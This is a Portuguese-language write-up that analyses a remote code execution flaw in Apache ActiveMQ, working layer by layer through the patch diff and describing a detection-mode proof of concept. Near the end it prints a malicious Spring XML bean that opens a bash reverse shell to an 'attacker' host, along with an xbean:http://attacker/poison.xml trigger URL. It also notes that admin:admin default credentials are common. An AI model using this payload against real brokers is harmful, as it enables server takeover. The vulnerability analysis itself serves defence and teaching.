
# Demonstração educacional e prova de conceito para CVE-2026-41044, uma RCE no Apache ActiveMQ, com análise de causa raiz e script de detecção.
Nota: Apenas para Fins Educacionais
O CVE-2026-41044 foi divulgado em 24 de abril de 2026. É uma vulnerabilidade de execução remota de código no Apache ActiveMQ Classic, encontrada por jsjcw, corrigida nas versões 5.19.6 e 6.2.5. Eu não a encontrei.
O que quero mostrar é como alguém que nunca tocou no ActiveMQ antes pode produzir um exploit funcional de um N-day numa tarde, porque o código corrigido é público, o código não corrigido é público, e a diferença entre eles está a um git diff de distância.
O processo é simples:
O que costumava levar dias agora leva uma tarde. A IA não encontra bugs. Ela lê código e explica-o tão rápido quanto consegues fazer perguntas. A parte cara continua a ser tu: decidir o que é realmente explorável, onde estão os verdadeiros limites de confiança, o que precisa de verificação. O modelo apenas percorre grafos de chamadas mais rápido do que qualquer humano consegue.
O ponto mais amplo: se o teu fluxo de trabalho de correção assume uma semana de tempo de análise por CVE, estás no cronograma antigo. O git diff tem o mesmo tamanho quer estejas a escrever deteção ou exploits.
O ActiveMQ é um broker de mensagens. Ele fica no meio e passa mensagens entre aplicações. Pensa nele como uma estação de correios: as apps deixam mensagens, o ActiveMQ entrega-as ao destinatário certo. Está amplamente implementado em stacks Java empresariais e expõe uma consola web e uma API de gestão REST chamada Jolokia em /api/jolokia/. As credenciais padrão em muitas implementações continuam a ser admin:admin.
O ActiveMQ permitia que qualquer utilizador autenticado carregasse uma configuração de broker a partir de um URL HTTP arbitrário, que o Spring analisava e executava imediatamente como objetos Java - incluindo ProcessBuilder - dando ao atacante execução total de comandos do SO no servidor do broker.
localhost./api/jolokia/ que expõe operações de gestão como uma API REST. Qualquer credencial válida da consola web chega até ela - não apenas admin.vm://: o transporte em processo usado quando um cliente vive no mesmo JVM que o broker. Aceita um parâmetro de consulta ?brokerConfig= que aponta para um XML Spring config para inicializar um broker a partir dele.xbean:: um esquema de URL que diz ao ActiveMQ para tratar o URL como uma configuração XML Spring e carregá-la.init-method: o Spring lê XML e cria automaticamente objetos Java (beans). O atributo init-method diz ao Spring para chamar um método no bean no momento em que é criado - antes de qualquer outra coisa ser executada.ProcessBuilder: uma classe Java padrão que executa comandos do SO. ProcessBuilder.start() executa o comando.DestinationView.sendTextMessage() na versão 5.19.2 constrói um URL de ligação ao broker concatenando diretamente o nome do broker numa string:
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
Se getBrokerName() devolver localhost?brokerConfig=xbean:http://attacker/poison.xml, essa string inteira torna-se um URI vm:// válido com um parâmetro de consulta embutido. ActiveMQConnectionFactory entrega-o a VMTransportFactory, que extrai o parâmetro brokerConfig e usa-o como URL de configuração de bootstrap do broker.
A correção na 5.19.6 é uma linha:
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();
String torna-se URI - a concatenação acidental deixa de ser possível. O valor vem de um objeto URI pré-construído e imutável derivado do conector VM registado real do broker, não de uma string de nome mutável.
Para a Camada 1 ser explorável, o nome do broker tem de ser envenenado primeiro. O BrokerService sempre sanitizou nomes de broker:
// BrokerService.setBrokerName() - presente em AMBAS as versões
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
Essa regex remove ? e = limpo. O CVE existia porque o RegionBroker tinha o seu próprio setter separado que não o fazia:
// 5.19.2 - RegionBroker.java
private String brokerName; // mutável
public void setBrokerName(String brokerName) {
this.brokerName = brokerName; // sem validação nenhuma
}
Isto é um clássico "deputado confuso" - dois setters em classes relacionadas, apenas um deles sanitiza. Um peer remoto a transmitir um pacote BrokerInfo forjado com um campo de nome envenenado chega diretamente a RegionBroker.setBrokerName(), contornando completamente a regex do BrokerService.
A correção na 5.19.6 elimina o setter, torna o campo final e inicializa-o uma única vez a partir do pai já sanitizado:
// 5.19.6 - RegionBroker.java
private final String brokerName; // imutável
public RegionBroker(BrokerService brokerService, ...) {
this.brokerName = Objects.requireNonNull(
brokerService.getBrokerName(), "The broker name cannot be null");
// setBrokerName() desapareceu. Já não existe setter.
}
Não podes contornar um sanitizador que não tem escritor paralelo.
VMTransportFactory.doCompositeConnect() é a função que pega no URI vm://...?brokerConfig=..., extrai o parâmetro brokerConfig e chama BrokerFactory.createBroker(brokerURI). É o mecanismo de acionamento de toda a cadeia.
A Apache não mudou absolutamente nada aqui.
Essa escolha diz-te algo sobre como pensaram a correção. O VMTransportFactory está a fazer trabalho legítimo - os transportes vm:// realmente devem aceitar configs de bootstrap. Corrigi-lo teria partido o design pretendido. Em vez disso, a Apache corrigiu o bug na origem (Camada 2: nenhum nome envenenado pode ser escrito) e no sumidouro (Camada 5: mesmo que um URL envenenado passasse, o resolvedor de recursos não o vai buscar).
Corrige as camadas onde a validação pertence, não a camada por onde o atacante aconteceu passar.
// XBeanBrokerFactory - igual em ambas as versões
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri); // Camada 5
return new ResourceXmlApplicationContext(resource) { ... };
}
ResourceXmlApplicationContext(resource) é onde o Spring faz a sua parte - o init-method de cada bean é executado na construção do contexto, antes de o BrokerService do ActiveMQ alguma vez validar o resultado. Não há patch para fazer aqui. O contrato do Spring está correto como foi desenhado. O bug era que o ActiveMQ dependia de a validação acontecer antes da instanciação, e o Spring não promete essa ordem.
Esta é a função que decidia se xbean:http://attacker/poison.xml devia ser buscado. Na 5.19.2:
// 5.19.2 - Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
if (new File(uri).exists()) {
return new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
return new UrlResource(ResourceUtils.getURL(uri)); // http? ftp? jar? sem verificação.
} else {
return new ClassPathResource(uri);
}
}
Sem filtro de protocolo. http://, https://, ftp://, jar:// - todos aceites silenciosamente.
A correção da 5.19.6 adiciona uma lista de permissões explícita. Apenas file e classpath são permitidos por padrão. Tudo o resto lança exceção antes de UrlResource ser alguma vez construído:
// 5.19.6 - Utils.java
public static final String FILE_PROTOCOL = "file";
public static final String CLASSPATH_PROTOCOL = "classpath";
public static Resource resourceFromString(String uri, Set<String> allowedProtocols)
throws MalformedURLException {
// ...
} else if (ResourceUtils.isUrl(uri)) {
validateUrlAllowed(uri, allowedProtocols); // lança exceção se http/https/etc
resource = new UrlResource(ResourceUtils.getURL(uri));
}
}
static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
throws URISyntaxException {
if (allowedProtocols != null) {
final String detectedProtocol = getProtocolFromScheme(uriString);
if (!allowedProtocols.contains(detectedProtocol)) {
throw new IllegalArgumentException("URL [" + uriString +
"] uses protocol '" + detectedProtocol + "' which is not allowed");
}
}
}
O XBeanBrokerFactory agora passa {file, classpath} como lista de permissões. Mesmo que um nome de broker envenenado chegasse a esta função numa versão futura, http://attacker/poison.xml lançaria exceção antes de o Spring alguma vez o visse.
<beans xmlns="http://www.springframework.org/schema/beans" ...>
<bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/sh</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/attacker/4444 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
No momento em que o Spring constrói o ApplicationContext, init-method="start" dispara no bean ProcessBuilder. A validação do BrokerService.start() do ActiveMQ é executada depois. Nessa altura, a shell já estabeleceu a ligação de volta.
Existem duas formas de chegar ao sumidouro vulnerável Utils.resourceFromString:
O caminho completo de produção (o que o advisory descreve):
Peer remoto envia pacote BrokerInfo forjado
-> RegionBroker.setBrokerName() armazena nome envenenado sem validação
-> DestinationView.sendTextMessage() concatena-o num URL vm://
-> VMTransportFactory extrai o parâmetro brokerConfig
-> XBeanBrokerFactory -> Utils.resourceFromString -> RCE Spring
O caminho curto (o que poc.sh usa):
BrokerFactory.createBroker("xbean:http://attacker/poison.xml")
-> XBeanBrokerFactory -> Utils.resourceFromString -> RCE Spring
O PoC usa o caminho curto por uma razão prática: o caminho completo requer configurar um segundo broker ActiveMQ como peer de rede que envia um pacote BrokerInfo forjado ao alvo - uma interação broker-a-broker que precisa de uma configuração de laboratório mais complexa. O caminho curto funciona com um único broker e um servidor HTTP básico.
Ambos os caminhos atingem a mesma primitiva vulnerável. O PoC confirma que o sumidouro é explorável e que o CVE está presente no alvo. Se quiseres reproduzir o ponto de entrada exato descrito no advisory, precisas de adicionar o passo broker-a-broker.
O PoC executa em modo apenas-deteção por padrão. Testa dois sinais:
Verificação de banner - lê BrokerVersion via Jolokia:
< 5.19.6 ou 6.0.0 - 6.2.4 = intervalo vulnerávelVerificação de comportamento - chama addNetworkConnector("vm://probe") via Jolokia:
Transport scheme 'vm' is not allowedDiscoveryAgent scheme NOT recognizedA rejeição na versão corrigida vem de BrokerView.validateAllowedUrl() - uma lista de negação separada adicionada diretamente à operação JMX addNetworkConnector na 5.19.6, não de Utils.resourceFromString. Estas são duas correções independentes: uma protege a superfície de gestão JMX, a outra protege a primitiva de carregamento de recursos descrita na Camada 5. A sonda de comportamento testa a primeira.
| Camada | Vulnerável (5.19.2) | Corrigido (5.19.6) |
|---|---|---|
DestinationView | concatenação de string "vm://" + brokerName | broker.getVmConnectorURI() URI imutável |
RegionBroker | campo mutável, setter não sanitizado | campo final, setter eliminado, inicializado a partir do pai sanitizado |
VMTransportFactory | inalterado | inalterado (por design) |
XBeanBrokerFactory | chama Utils.resourceFromString(uri) | chama Utils.resourceFromString(uri, allowedProtocols) |
Utils.resourceFromString | busca qualquer esquema de URL | lista de permissões aplicada - apenas file e classpath por padrão |